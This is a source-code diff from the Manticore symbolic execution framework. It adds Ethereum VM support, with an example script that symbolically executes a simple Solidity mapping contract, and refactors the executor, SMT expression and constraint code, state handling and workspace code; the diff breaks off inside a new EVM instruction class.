+        with self.locked_context('known_sha3', set) as known_sha3:
+            state.platform._sha3.update(known_sha3)
+
+    def concrete_sha3(self, state, buf, value):
+        with self.locked_context('known_sha3', set) as known_sha3:
+            known_sha3.add((buf,value))
+
diff --git a/examples/evm/simple_mapping.py b/examples/evm/simple_mapping.py
new file mode 100644
index 0000000..a089ca5
--- /dev/null
+++ b/examples/evm/simple_mapping.py
@@ -0,0 +1,60 @@
+from seth import *
+################ Script #######################
+
+seth = ManticoreEVM()
+seth.verbosity(0)
+#And now make the contract account to analyze
+# cat  | solc --bin 
+source_code = '''
+pragma solidity ^0.4.13;
+
+contract Test {
+    event Log(string);
+    mapping(address => uint) private balances;
+
+    function Test(){
+        balances[0x11111111111111111111111111111111] = 10;
+        balances[0x22222222222222222222222222222222] = 20;
+        balances[0x33333333333333333333333333333333] = 30;
+        balances[0x44444444444444444444444444444444] = 40;
+        balances[0x55555555555555555555555555555555] = 50;
+    }
+    
+    function target(address key) returns (bool){
+        if (balances[key] > 20)
+            Log("Balance greater than 20");
+        else
+            Log("Balance less or equal than 20");
+    } 
+
+}
+'''
+user_account = seth.create_account(balance=1000)
+
+#Initialize contract
+bytecode = seth.compile(source_code)
+contract_account = seth.create_contract(owner=user_account, 
+                                          balance=0, 
+                                          init=bytecode)
+
+symbolic_data = seth.SByte(64) 
+symbolic_value = None 
+seth.transaction(  caller=user_account,
+                    address=contract_account,
+                    value=symbolic_value,
+                    data=symbolic_data,
+                 )
+
+
+print "[+] There are %d reverted states now"% len(seth.final_state_ids)
+for state_id in seth.final_state_ids:
+    seth.report(state_id)
+
+print "[+] There are %d alive states now"% len(seth.running_state_ids)
+for state_id in seth.running_state_ids:
+    seth.report(state_id)
+
+print "[+] Global coverage:"
+print seth.coverage(contract_account)
+
+
diff --git a/manticore/core/executor.py b/manticore/core/executor.py
index 8ff4b29..18100c5 100644
--- a/manticore/core/executor.py
+++ b/manticore/core/executor.py
@@ -93,10 +93,9 @@ class Uncovered(Policy):
     def _register(self, *args):
         self._executor.subscribe('will_execute_instruction', self._visited_callback)
 
-    def _visited_callback(self, state, instr):
+    def _visited_callback(self, state, pc, instr):
         ''' Maintain our own copy of the visited set
         '''
-        pc = state.platform.current.PC
         with self.locked_context('visited', set) as ctx:
             ctx.add(pc)
 
@@ -172,7 +171,7 @@ class Executor(Eventful):
         # Signals / Callbacks handlers will be invoked potentially at different
         # worker processes. State provides a local context to save data.
 
-        self.subscribe('will_load_state', self._register_state_callbacks)
+        self.subscribe('did_load_state', self._register_state_callbacks)
 
         # The main executor lock. Acquire this for accessing shared objects
         self._lock = manager.Condition(manager.RLock())
@@ -238,8 +237,6 @@ class Executor(Eventful):
                 yield sub_context
                 self._shared_context[key] = sub_context
 
-
-
     def _register_state_callbacks(self, state, state_id):
         '''
             Install forwarding callbacks in state so the events can go up.
@@ -436,6 +433,7 @@ class Executor(Eventful):
                             current_state_id = self.get()
                             #load selected state from secondary storage
                             if current_state_id is not None:
+                                self._publish('will_load_state', current_state_id)
                                 current_state = self._workspace.load_state(current_state_id)
                                 self.forward_events_from(current_state, True)
                                 self._publish('did_load_state', current_state, current_state_id)
@@ -449,6 +447,7 @@ class Executor(Eventful):
                             break
 
                         assert current_state is not None
+                        assert current_state.constraints is current_state.platform.constraints
 
                     try:
 
@@ -496,10 +495,10 @@ class Executor(Eventful):
                 except (Exception, AssertionError) as e:
                     import traceback
                     trace = traceback.format_exc()
-                    print str(e), trace
                     logger.error("Exception: %s\n%s", str(e), trace)
+                    print "Exception: %s\n%s"%( str(e), trace)
                     #Notify this worker is done
-                    self._publish('will_terminate_state', current_state, current_state_id, 'Exception')
+                    self._publish('will_terminate_state', current_state, current_state_id, e)
                     current_state = None
                     logger.setState(None)
 
diff --git a/manticore/core/memory.py b/manticore/core/memory.py
index b947eb9..2e03a8e 100644
--- a/manticore/core/memory.py
+++ b/manticore/core/memory.py
@@ -870,7 +870,7 @@ class SMemory(Memory):
     '''
     def __init__(self, constraints, symbols=None, *args, **kwargs):
         '''
-        Builds a map of memory.
+        Builds a memory.
 
         :param constraints:  a set of constraints
         :param symbols: Symbolic chunks
diff --git a/manticore/core/plugin.py b/manticore/core/plugin.py
index 66a8b4b..6ba1b04 100644
--- a/manticore/core/plugin.py
+++ b/manticore/core/plugin.py
@@ -15,7 +15,6 @@ class Tracer(Plugin):
     def did_execute_instruction_callback(self, state, pc, target_pc, instruction):
         state.context['trace'].append(pc)
 
-
 class RecordSymbolicBranches(Plugin):
     def will_start_run_callback(self, state):
         state.context['branches'] = {}
@@ -80,7 +79,6 @@ class Visited(Plugin):
         state.context.setdefault('visited_since_last_fork', set()).add(prev_pc)
         state.context.setdefault('visited', set()).add(prev_pc)
 
-
     def did_finish_run_callback(self):
         _shared_context = self.manticore.context
         executor_visited = _shared_context.get('visited', set())
diff --git a/manticore/core/smtlib/constraints.py b/manticore/core/smtlib/constraints.py
index a325eef..477ccf6 100644
--- a/manticore/core/smtlib/constraints.py
+++ b/manticore/core/smtlib/constraints.py
@@ -50,7 +50,9 @@ class ConstraintSet(object):
             constraint = BoolConstant(constraint)
         assert isinstance(constraint, Bool)
         constraint = arithmetic_simplifier(constraint)
-        # If count > 0 it means this constraint set has been forked and that 
+        if isinstance(constraint, BoolConstant) and not constraint.value:
+            logger.info("Adding an imposible constant constraint")
+        # If self._child is not None this constraint set has been forked and a 
         # a derived constraintset may be using this. So we can't add any more
         # constraints to this one. After the child constraintSet is deleted
         # we regain the ability to add constraints.
@@ -196,7 +198,7 @@ class ConstraintSet(object):
                          if not uniq a numeric nonce will be appended
             :return: a fresh BitVecVariable
         '''
-        assert size in (1, 4, 8, 16, 32, 64, 128, 256)
+        assert size in (1, 4, 8, 16, 32, 64, 128, 160, 256)
         name = self._get_new_name(name)
         return BitVecVariable(size, name, taint=taint)
 
@@ -208,7 +210,7 @@ class ConstraintSet(object):
             :param index_max: upper limit for indexes on ths array (#FIXME)
             :return: a fresh BitVecVariable
         '''
-        assert index_bits in (8, 16, 32, 64)
+        assert index_bits in (8, 16, 32, 64, 128, 256)
         name = self._get_new_name(name)
         return ArrayProxy(ArrayVariable(index_bits, index_max, name, taint=taint))
 
diff --git a/manticore/core/smtlib/expression.py b/manticore/core/smtlib/expression.py
index 07794ed..9aba1b1 100644
--- a/manticore/core/smtlib/expression.py
+++ b/manticore/core/smtlib/expression.py
@@ -237,6 +237,10 @@ class BitVec(Expression):
 
     def __truediv__(self, other):
         return BitVecDiv(self, self.cast(other))
+
+    def __floordiv__(self, other):
+        return self /other
+
     # These methods are called to implement the binary arithmetic operations
     # (+, # -, *, /, %, divmod(), pow(), **, <<, >>, &, ^, |) with reflected
     # (swapped) operands. These functions are only called if the left operand
@@ -525,7 +529,7 @@ class UnsignedGreaterOrEqual(BoolOperation):
 # Array  BV32 -> BV8  or BV64 -> BV8
 class Array(Expression):
     def __init__(self, index_bits, index_max, *operands, **kwargs):
-        assert index_bits in (32, 64)
+        assert index_bits in (32, 64, 256)
         assert index_max is None or isinstance(index_max, int)
         assert index_max is None or index_max > 0 and index_max < 2 ** index_bits
         self._index_bits = index_bits
@@ -534,7 +538,7 @@ class Array(Expression):
 
     def cast_index(self, index):
         if isinstance(index, (int, long)):
-            assert self.index_max is None or index >= 0 and index < self.index_max
+            #assert self.index_max is None or index >= 0 and index < self.index_max
             return BitVecConstant(self._index_bits, index)
         assert isinstance(index, BitVec) and index.size == self._index_bits
         return index
@@ -603,11 +607,12 @@ class ArrayStore(ArrayOperation):
     def byte(self):
         return self.operands[2]
 
-class ArrayProxy(ArrayVariable):
+class ArrayProxy(Array):
     def __init__(self, array):
         assert isinstance(array, ArrayVariable)
-        super(ArrayProxy, self).__init__(array.index_bits, array.index_max, array.name)
+        super(ArrayProxy, self).__init__(array.index_bits, array.index_max)
         self._array = array
+        self.name = array.name
 
     @property
     def operands(self):
@@ -622,8 +627,6 @@ class ArrayProxy(ArrayVariable):
 
     def store(self, index, value):
         auxiliar = self._array.store(index, value)
-        self._array.store = None
-        self._array.select = None
         self._array = auxiliar
         return auxiliar
 
@@ -631,7 +634,8 @@ class ArrayProxy(ArrayVariable):
         size = index.stop - index.start
         if isinstance(size, BitVec):
             import visitors
-            size = visitors.ArithmeticSimplifier(expression=size)
+            from manticore.core.smtlib.visitors import arithmetic_simplifier
+            size = arithmetic_simplifier(size)
         else:
             size = BitVecConstant(self._array.index_bits, size)
         assert isinstance(size, BitVecConstant)
@@ -640,7 +644,13 @@ class ArrayProxy(ArrayVariable):
     def __getitem__(self, index):
         if isinstance(index, slice):
             size = self._get_size(index)
-            return [self._array.select(index.start+i) for i in xrange(size)]
+            result = []
+            for i in xrange(size):
+                if self.index_max is not None and not isinstance(i+index.start, Expression) and i+index.start >= self.index_max:
+                    result.append(0)
+                else:
+                    result.append(self._array.select(index.start+i))
+            return result
         else:
             return self._array.select(index)
 
@@ -658,6 +668,18 @@ class ArrayProxy(ArrayVariable):
             raise Exception()
         return self._array.index_max
 
+    def __getstate__(self):
+        state = {}
+        state['_array'] = self._array
+        state['name'] = self.name
+        return state
+
+    def __setstate__(self, state):
+        self._array = state['_array']
+        self.name = state['name']
+        self._index_bits = self._array.index_bits
+        self._index_max = self._array.index_max
+
 
 class ArraySelect(BitVec, Operation):
     def __init__(self, array, index, *args, **kwargs):
diff --git a/manticore/core/smtlib/solver.py b/manticore/core/smtlib/solver.py
index a25cf37..d6027e1 100644
--- a/manticore/core/smtlib/solver.py
+++ b/manticore/core/smtlib/solver.py
@@ -330,8 +330,10 @@ class Z3Solver(Solver):
 
     #get-all-values min max minmax
     #@memoized
-    def get_all_values(self, constraints, expression, maxcnt=300, silent=False):
+    def get_all_values(self, constraints, expression, maxcnt=3000, silent=False):
         ''' Returns a list with all the possible values for the symbol x'''
+        if not isinstance(expression, Expression):
+            return [expression]
         assert isinstance(constraints, ConstraintSet)
         assert isinstance(expression, Expression)
 
@@ -447,6 +449,11 @@ class Z3Solver(Solver):
         if not issymbolic(expression):
             if isinstance(expression, str):
                 expression = ord(expression)
+            if isinstance(expression, list):
+                arr = constraints.new_array(index_max=len(expression))
+                for i in range(len(expression)):
+                    arr[i] = expression[i]
+                return self.get_value(constraints, arr)
             return expression
         assert isinstance(expression, (Bool, BitVec, Array))
         with constraints as temp_cs:
diff --git a/manticore/core/smtlib/visitors.py b/manticore/core/smtlib/visitors.py
index ef169a1..8bb924f 100644
--- a/manticore/core/smtlib/visitors.py
+++ b/manticore/core/smtlib/visitors.py
@@ -1,11 +1,8 @@
-from abc import ABCMeta, abstractmethod, abstractproperty
 from expression import *
 import logging
 logger = logging.getLogger(__name__)
 
-
 class Visitor(object):
-    __metaclass__ = ABCMeta
     ''' Class/Type Visitor
 
        Inherit your class visitor from this one and get called on a different
@@ -28,10 +25,10 @@ class Visitor(object):
         vistit_Array()
 
     '''
-    def __init__(self, **kwargs):
+    def __init__(self, cache=None, **kwargs):
         super(Visitor, self).__init__()
         self._stack = []
-        self._cache = {}
+        self._cache = {} if cache is None else cache
 
     def push(self, value):
         assert value is not None
@@ -47,7 +44,7 @@ class Visitor(object):
     @property
     def result(self):
         assert len(self._stack) == 1
-        return self.pop()
+        return self._stack[-1]
 
     def _method(self, expression, *args):
         assert expression.__class__.__mro__[-1] is object
@@ -106,6 +103,8 @@ class Visitor(object):
 
     @staticmethod
     def _rebuild(expression, operands):
+        if isinstance(expression, Constant):
+            return expression
         if isinstance(expression, Operation):
             import copy
             aux = copy.copy(expression)
@@ -223,11 +222,12 @@ class PrettyPrinter(Visitor):
 
 
 def pretty_print(expression, **kwargs):
+    if not isinstance(expression, Expression):
+        return str(expression)
     pp = PrettyPrinter(**kwargs)
     pp.visit(expression)
     return pp.result
 
-
 class ConstantFolderSimplifier(Visitor):
     def __init__(self, **kw):
         super(ConstantFolderSimplifier, self).__init__(**kw)
@@ -306,6 +306,8 @@ class ArithmeticSimplifier(Visitor):
 
     @staticmethod
     def _changed(expression, operands):
+        if isinstance(expression, Constant) and len(operands)>0:
+            return True
         arity = len(operands)
         return any( operands[i] is not expression.operands[i] for i in range(arity))
 
@@ -448,27 +450,25 @@ class ArithmeticSimplifier(Visitor):
         '''
         arr = expression.array
         index = expression.index
-        if isinstance(index, BitVecConstant):
-            index = index.value
-            prev_arr = arr
-            while isinstance(arr, ArrayStore):
-               prev_arr = arr
-               index_store = arr.index
-               if isinstance(index_store, BitVecConstant):
-                   if index_store.value == index:
-                       return arr.byte
-                   arr = arr.array
-               else:
-                    break
 
+        if isinstance(index, BitVecConstant) \
+            and isinstance(arr, ArrayStore) \
+            and isinstance(arr.index, BitVecConstant):
+            if arr.index.value == index.value:
+                return arr.byte
+            else:
+                return arr.array.select(index)
 
     def visit_Expression(self, expression, *operands):
         assert len(operands) == 0
         assert not isinstance(expression, Operation)
         return expression
 
+#FIXME this should forget old expressions lru?
+arithmetic_simplifier_cache = {}
 def arithmetic_simplifier(expression):
-    simp = ArithmeticSimplifier()
+    global arithmetic_simplifier_cache    
+    simp = ArithmeticSimplifier(cache=arithmetic_simplifier_cache)
     simp.visit(expression, use_fixed_point=True)
     return simp.result
 
@@ -590,3 +590,5 @@ def translate_to_smtlib(expression, **kwargs):
     translator = TranslatorSmtlib(**kwargs)
     translator.visit(expression)
     return translator.result
+
+
diff --git a/manticore/core/state.py b/manticore/core/state.py
index 6f27236..0bcde5f 100644
--- a/manticore/core/state.py
+++ b/manticore/core/state.py
@@ -2,8 +2,9 @@ import os
 import copy
 import logging
 from collections import OrderedDict
+from weakref import WeakSet
 
-from .smtlib import solver, Bool
+from .smtlib import solver, Bool, ArrayProxy, Array
 from ..utils.helpers import issymbolic
 from ..utils.event import Eventful
 
@@ -78,10 +79,12 @@ class State(Eventful):
         self._input_symbols = list()
         self._child = None
         self._context = dict()
-        self._init_context()
         ##################################################################33
         # Events are lost in serialization and fork !!
         self.forward_events_from(platform)
+        
+        #FIXME(felipe) This should go into some event callback in a plugin (start_run?)
+        self._init_context()
 
     def __getstate__(self):
         state = super(State, self).__getstate__()
@@ -103,11 +106,11 @@ class State(Eventful):
         # Events are lost in serialization and fork !!
         self.forward_events_from(self._platform)
 
-    #Fixme(felipe) change for with state.cow_copy() as st_temp:.
+    #Fixme(felipe) change for with "state.cow_copy() as st_temp":.
     def __enter__(self):
         assert self._child is None
         new_state = State(self._constraints.__enter__(), self._platform)
-        new_state._input_symbols = self._input_symbols
+        new_state._input_symbols = list(self._input_symbols)
         new_state._context = copy.deepcopy(self._context)
         self._child = new_state
 
@@ -145,8 +148,7 @@ class State(Eventful):
             raise TerminateState(e.message, testcase=True)
 
         #Remove when code gets stable?
-        assert self._platform._constraints is self._constraints
-        assert self.mem._constraints is self._constraints
+        assert self.platform.constraints is self.constraints
         return result
 
     @property
@@ -198,7 +200,7 @@ class State(Eventful):
 
         :return: :class:`~manticore.core.smtlib.expression.Expression` representing the buffer.
         '''
-        name = options.get('name', 'buffer')
+        name = options.get('label', 'buffer')
         taint = options.get('taint', frozenset())
         expr = self._constraints.new_array(name=name, index_max=nbytes, taint=taint)
         self._input_symbols.append(expr)
@@ -262,10 +264,13 @@ class State(Eventful):
                     assert b != 0
         return data
 
-    def concretize(self, symbolic, policy, maxcount=100):
+    def concretize(self, symbolic, policy, maxcount=1000):
         ''' This finds a set of solutions for symbolic using policy.
             This raises TooManySolutions if more solutions than maxcount
         '''
+        assert self.constraints == self.platform.constraints
+
+
         vals = []
         if policy == 'MINMAX':
             vals = self._solver.minmax(self._constraints, symbolic)
diff --git a/manticore/core/workspace.py b/manticore/core/workspace.py
index a7484a0..a3ae5c9 100644
--- a/manticore/core/workspace.py
+++ b/manticore/core/workspace.py
@@ -152,7 +152,7 @@ class Store(object):
         with self.save_stream(key) as f:
             self._serializer.serialize(state, f)
 
-    def load_state(self, key):
+    def load_state(self, key, delete=True):
         """
         Load a state from storage.
 
@@ -161,11 +161,8 @@ class Store(object):
         """
         with self.load_stream(key) as f:
             state = self._serializer.deserialize(f)
-            # FIXME (theo) remove this from here and properly handle
-            # serialization for the platform CPU
-            if hasattr(state.cpu, "platform_cpu"):
-                state.cpu.platform_cpu._memory = state.cpu._memory
-            self.rm(key)
+            if delete:
+                self.rm(key)
             return state
 
     def rm(self, key):
@@ -371,7 +368,7 @@ class Workspace(object):
         self._last_id.value += 1
         return id_
 
-    def load_state(self, state_id):
+    def load_state(self, state_id, delete=True):
         """
         Load a state from storage identified by `state_id`.
 
@@ -379,7 +376,7 @@ class Workspace(object):
         :return: The deserialized state
         :rtype: State
         """
-        return self._store.load_state('{}{:08x}{}'.format(self._prefix, state_id, self._suffix))
+        return self._store.load_state('{}{:08x}{}'.format(self._prefix, state_id, self._suffix), delete=delete)
 
     def save_state(self, state):
         """
@@ -459,8 +456,11 @@ class ManticoreOutput(object):
         self.save_trace(state)
         self.save_constraints(state)
         self.save_input_symbols(state)
-        self.save_syscall_trace(state)
-        self.save_fds(state)
+
+        for stream_name, data in state.platform.generate_workspace_files().items():
+            with self._named_stream(stream_name) as stream:
+                stream.write(data)
+
         self._store.save_state(state, self._named_key('pkl'))
         return self._last_id
 
@@ -483,6 +483,15 @@ class ManticoreOutput(object):
             summary.write("Command line:\n  '{}'\n" .format(' '.join(sys.argv)))
             summary.write('Status:\n  {}\n\n'.format(message))
 
+            # FIXME(mark) This is a temporary hack for EVM. We need to sufficiently
+            # abstract the below code to work on many platforms, not just Linux. Then
+            # we can remove this hack.
+            if getattr(state.platform, 'procs', None) is None:
+                import pprint
+                summary.write("EVM World:\n")
+                summary.write(pprint.pformat(state.platform._global_storage))
+                return
+
             memories = set()
             for cpu in filter(None, state.platform.procs):
                 idx = state.platform.procs.index(cpu)
diff --git a/manticore/manticore.py b/manticore/manticore.py
index 9948d6a..a42488d 100644
--- a/manticore/manticore.py
+++ b/manticore/manticore.py
@@ -22,8 +22,7 @@ from .core.parser import parse
 from .core.state import State, TerminateState
 from .core.smtlib import solver, ConstraintSet
 from .core.workspace import ManticoreOutput, Workspace
-from .core.cpu.abstractcpu import Cpu
-from .platforms import linux, decree, windows
+from .platforms import linux, decree, windows, evm
 from .utils.helpers import issymbolic, is_binja_disassembler
 from .utils.nointerrupt import WithKeyboardInterruptAs
 from .utils.event import Eventful
@@ -57,7 +56,6 @@ def make_binja(program, disasm, argv, env, symbolic_files, concrete_start=''):
     initial_state = State(constraints, platform)
     return initial_state
 
-
 def make_decree(program, concrete_data='', **kwargs):
     constraints = ConstraintSet()
     platform = decree.SDecree(constraints, program)
@@ -160,6 +158,8 @@ def make_initial_state(binary_path, **kwargs):
     elif magic == '\x7fCGC':
         # Decree
         state = make_decree(binary_path, **kwargs)
+    elif magic == '#EVM':
+        state = make_evm(binary_path, **kwargs)
     else:
         raise NotImplementedError("Binary {} not supported.".format(binary_path))
     return state
@@ -168,9 +168,15 @@ class Manticore(Eventful):
     '''
     The central analysis object.
 
-    :param path_or_state: Path to a binary to analyze (deprecated) or `State` object
+    This should generally not be invoked directly; the various
+    class method constructors should be preferred:
+    :meth:`~manticore.Manticore.linux`,
+    :meth:`~manticore.Manticore.decree`,
+    :meth:`~manticore.Manticore.evm`.
+
+    :param path_or_state: Path to a binary to analyze (**deprecated**) or `State` object
     :type path_or_state: str or State
-    :param argv: Arguments to provide to binary (deprecated)
+    :param argv: Arguments to provide to binary (**deprecated**)
     :type argv: list[str]
     :ivar dict context: Global context for arbitrary data storage
     '''
@@ -186,7 +192,12 @@ class Manticore(Eventful):
             else:
                 ws_path = workspace_url
         else:
+            if workspace_url is not None:
+                raise Exception('Invalid workspace')
             ws_path = None
+
+
+
         self._output = ManticoreOutput(ws_path)
         self._context = {}
 
@@ -203,9 +214,9 @@ class Manticore(Eventful):
             self._initial_state = make_initial_state(path_or_state, argv=argv, **kwargs)
         elif isinstance(path_or_state, State):
             self._initial_state = path_or_state
-        else:
-            raise TypeError("Manticore must be intialized with either a State or a path to a binary")
 
+        if not isinstance(self._initial_state, State):
+            raise TypeError("Manticore must be intialized with either a State or a path to a binary")
 
         self.plugins = set()
 
@@ -260,22 +271,67 @@ class Manticore(Eventful):
 
     @classmethod
     def linux(cls, path, argv=None, envp=None, symbolic_files=None, concrete_start='', **kwargs):
+        """
+        Constructor for Linux binary analysis.
+
+        :param str path: Path to binary to analyze
+        :param argv: Arguments to provide to the binary
+        :type argv: list[str]
+        :param envp: Environment to provide to the binary
+        :type envp: dict[str, str]
+        :param symbolic_files: Filenames to mark as having symbolic input
+        :type symbolic_files: list[str]
+        :param str concrete_start: Concrete stdin to use before symbolic inputt
+        :param kwargs: Forwarded to the Manticore constructor
+        :return: Manticore instance, initialized with a Linux State
+        :rtype: Manticore
+        """
         try:
             return cls(make_linux(path, argv, envp, symbolic_files, concrete_start), **kwargs)
         except elftools.common.exceptions.ELFError:
             raise Exception('Invalid binary: {}'.format(path))
 
     @classmethod
-    def decree(cls, path, concrete_data='', **kwargs):
+    def decree(cls, path, concrete_start='', **kwargs):
+        """
+        Constructor for Decree binary analysis.
+
+        :param str path: Path to binary to analyze
+        :param str concrete_start: Concrete stdin to use before symbolic inputt
+        :param kwargs: Forwarded to the Manticore constructor
+        :return: Manticore instance, initialized with a Decree State
+        :rtype: Manticore
+        """
         try:
-            return cls(make_decree(path, concrete_data), **kwargs)
+            return cls(make_decree(path, concrete_start), **kwargs)
         except KeyError:  # FIXME(mark) magic parsing for DECREE should raise better error
             raise Exception('Invalid binary: {}'.format(path))
 
+    @classmethod
+    def evm(cls, **kwargs):
+        """
+        Constructor for Ethereum virtual machine bytecode analysis.
+
+        :param kwargs: Forwarded to the Manticore constructor
+        :return: Manticore instance, initialized with a EVM State
+        :rtype: Manticore
+        """
+        #Make the constraint store
+        constraints = ConstraintSet()
+        #make the ethereum world state
+        world = evm.EVMWorld(constraints)
+        return cls(State(constraints, world), **kwargs)
+
     @property
     def initial_state(self):
         return self._initial_state
 
+    def subscribe(self, name, callback):
+        from types import MethodType
+        if not isinstance(callback,MethodType):
+            callback = MethodType(callback, self)
+        super(Manticore,self).subscribe(name, callback)
+
     @property
     def context(self):
         ''' Convenient access to shared context '''
@@ -341,7 +397,6 @@ class Manticore(Eventful):
 
     def enqueue(self, state):
         ''' Dynamically enqueue states. Users should typically not need to do this '''
-        assert not self.running, "Can't add state where running. Can we?"
         self._executor.add(state)
 
     ###########################################################################
@@ -424,7 +479,8 @@ class Manticore(Eventful):
     def _join_workers(self):
         with WithKeyboardInterruptAs(self._executor.shutdown):
             while len(self._workers) > 0:
-                w = self._workers.pop().join()
+                self._workers.pop().join()
+
 
     ############################################################################
     # Common hooks + callback
@@ -558,9 +614,8 @@ class Manticore(Eventful):
         state.constraints.add(assertion)
 
 
-
     ##########################################################################
-    #Some are Place holders Remove
+    #Some are placeholders Remove FIXME
     #Any platform specific callback should go to a plugin
 
     def _generate_testcase_callback(self, state, name, message):
@@ -604,6 +659,7 @@ class Manticore(Eventful):
         assert not self.running
         #FIXME this will be self.publish 
         self._publish('will_start_run', self._initial_state)
+
         self.enqueue(self._initial_state)
         self._initial_state = None
 
@@ -700,4 +756,3 @@ class Manticore(Eventful):
         logger.info('Results in %s', self._output.uri)
         logger.info('Total time: %s', elapsed)
 
-
diff --git a/manticore/platforms/evm.py b/manticore/platforms/evm.py
new file mode 100644
index 0000000..3688917
--- /dev/null
+++ b/manticore/platforms/evm.py
@@ -0,0 +1,1877 @@
+'''
+Solidity / Smart contract VM
+Implements the yellow paper: http://gavwood.com/paper.pdf
+Get example contracts from here:
+https://ethereum.github.io/browser-solidity/#version=soljson-latest.js
+'''
+import random, copy
+from ..platforms.platform import *
+from ..core.smtlib import solver, TooManySolutions, Expression, Bool, BitVec, Array, Operators, Constant, BitVecConstant, ConstraintSet
+from ..core.state import ForkState, TerminateState
+from ..utils.helpers import issymbolic
+from ..utils.event import Eventful
+from ..core.smtlib.visitors import pretty_print, arithmetic_simplifier, translate_to_smtlib
+from ..core.state import Concretize,TerminateState
+import logging
+import sys, hashlib
+if sys.version_info < (3, 6):
+    import sha3
+
+logger = logging.getLogger(__name__)
+
+
+# Auxiliar constants and functions
+TT256 = 2 ** 256
+TT256M1 = 2 ** 256 - 1
+TT255 = 2 ** 255
+TOOHIGHMEM = 0x1000
+
+def ceil32(x):
+    return Operators.ITE(x % 32 == 0, x , x + 32 - (x % 32))
+
+def to_signed(i):
+    return Operators.ITEBV(256, i<TT255, i, i-TT256) #i if i < TT255 else i - TT256
+
+def pack_msb(value, size=32):
+    '''takes an int and packs it into a 32 byte string, msb first''' 
+    assert size >=1
+    bytes = []
+    for position in range(size):
+        bytes.append( Operators.EXTRACT(value, position*8, 8) )
+    chars = map(Operators.CHR, bytes)
+    return ''.join(reversed(chars))
+
+class EVMMemory(object):
+    '''
+    The EVM symbolic memory manager.
+    '''
+    def __init__(self, constraints, address_size=256, value_size=8, *args, **kwargs):
+        '''
+        Builds a memory.
+
+        :param constraints:  a set of constraints
+        :param address_size: address bit width
+        :param values_size: value bit width
+        '''
+        assert isinstance(constraints, (ConstraintSet, type(None)))
+        self._constraints = constraints
+        self._symbols = {}
+        self._memory = {}
+        self._address_size=address_size
+        self._value_size=value_size
+        self._allocated = 0
+
+    def __copy__(self):
+        new_mem = EVMMemory(self._constraints, self._address_size,  self._value_size)
+        new_mem._memory = dict(self._memory)
+        new_mem._symbols = dict(self._symbols)
+        return new_mem
+
+    def __reduce__(self):
+        return (self.__class__, (self._constraints, self._address_size,  self._value_size), {'_symbols':self._symbols, '_memory':self._memory, '_allocated': self._allocated } )
+
+    @property
+    def constraints(self):
+        return self._constraints
+
+    @constraints.setter
+    def constraints(self, constraints):
+        self._constraints = constraints
+
+    def _get_size(self, index):
+        size = index.stop - index.start
+        if isinstance(size, BitVec):
+            size = arithmetic_simplifier(size)
+        else:
+            size = BitVecConstant(self._address_size, size)
+        assert isinstance(size, BitVecConstant)
+        return size.value
+
+    def __getitem__(self, index):
+        if isinstance(index, slice):
+            size = self._get_size(index)
+            return self.read(index.start, size)
+        else:
+            return self.read(index, 1)[0]
+
+    def __setitem__(self, index, value):
+        if isinstance(index, slice):
+            size = self._get_size(index)
+            assert len(value) == size
+            for i in xrange(size):
+                self.write(index.start+i, [value[i]])
+        else:
+            self.write(index, [value])
+
+
+    def __repr__(self):
+        return self.__str__()
+
+    def __str__(self):
+        m = {}
+        for key in self._memory.keys():
+            c = self.read(key,1)[0]
+            if issymbolic(c):
+                m[key] = '?'
+            else:
+                m[key] = hex(c)
+        return str(m)
+
+
+    def __len__(self):
+        return self._allocated
+
+    def _allocate(self, address):
+        '''
+            Allocate more memory
+        '''
+        new_max = ceil32(address) // 32
+        self._allocated = Operators.ITEBV(256, self._allocated < new_max, new_max, self._allocated)
+
+    def _concrete_read(self, address):
+        return self._memory.get(address, 0)
+
+    def _concrete_write(self, address, value):
+        assert not issymbolic(address) 
+        assert not issymbolic(value)
+        assert value & ~(pow(2,self._value_size)-1) == 0 , "Not the correct size for a value"
+        self._memory[address] = value
+
+    def read(self, address, size):
+        '''
+        Read a stream of potentially symbolic items from a potentially symbolic
+        address
+
+        :param address: Where to read from
+        :param size: How many items
+        :rtype: list
+        '''
+        #size = self._get_size(size)
+        assert not issymbolic(size)
+        self._allocate(address+size)
+
+        if issymbolic(address):
+            address = arithmetic_simplifier(address)
+            assert solver.check(self.constraints)
+            logger.debug('Reading %d items from symbolic offset %s', size, address)
+            try:
+                solutions = solver.get_all_values(self.constraints, address, maxcnt=0x1000) #if more than 0x3000 exception
+            except TooManySolutions as e:
+                m, M = solver.minmax(self.constraints, address)
+                logger.debug('Got TooManySolutions on a symbolic read. Range [%x, %x]. Not crashing!', m, M)
+                #INCOMPLETE Result! Using the 0x100 values sampled before
+                logger.info('INCOMPLETE Result! Using the sampled solutions we have as result')
+                condition = False
+                for base in e.solutions:
+                    condition = Operators.OR(address == base, condition )
+                raise ForkState('address too high', condition)
+
+            #So here we have all potential solutions of symbolic address (complete set)
+            assert len(solutions) > 0            
+
+            condition = False
+            for base in solutions:
+                condition = Operators.OR(address == base, condition )
+
+            result = []
+            #consider size ==1 to read following code
+            for offset in range(size):
+                #Given ALL solutions for the symbolic address
+                for base in solutions:
+                    addr_value = base + offset
+                    item = self._concrete_read(addr_value)
+                    if addr_value in self._symbols:
+                        for condition, value in self._symbols[addr_value]:
+                            item = Operators.ITEBV(self._value_size, condition, value, item)
+                    if len(result) > offset:
+                        result[offset] = Operators.ITEBV(self._value_size, address == base, item, result[offset])
+                    else:
+                        result.append(item)
+                    assert len(result) == offset+1
+            return result
+        else:
+            result = []
+            for i in range(size):
+                result.append(self._concrete_read(address+i))
+            for offset in range(size):
+                if address+offset in self._symbols:
+                    for condition, value in self._symbols[address+offset]:
+                        if condition is True:
+                            result[offset] = value
+                        else:
+                            result[offset] = Operators.ITEBV(self._value_size, condition, value, result[offset])
+            return result
+
+    def write(self, address, value):
+        '''
+        Write a value at address.
+        :param address: The address at which to write
+        :type address: int or long or Expression
+        :param value: Bytes to write
+        :type value: str or list
+        '''
+        size = len(value)
+        self._allocate(address+size)
+
+        if issymbolic(address):
+
+            solutions = solver.get_all_values(self.constraints, address, maxcnt=0x1000) #if more than 0x3000 exception
+
+            for offset in xrange(size):
+                for base in solutions:
+                    condition = base == address
+                    self._symbols.setdefault(base+offset, []).append((condition, value[offset]))
+
+        else:
+
+            for offset in xrange(size):
+                if issymbolic(value[offset]):
+                    self._symbols[address+offset] = [(True, value[offset])]
+                else:
+                    # overwrite all previous items
+                    if address+offset in self._symbols:
+                        del self._symbols[address+offset]
+                    self._concrete_write(address+offset, value[offset])
+
+
+class EVMInstruction(object):
+    '''This represents an EVM instruction '''
+    def __init__(self, opcode, name, operand_size, pops, pushes, fee, description, operand=None):
+        self._opcode = opcode 
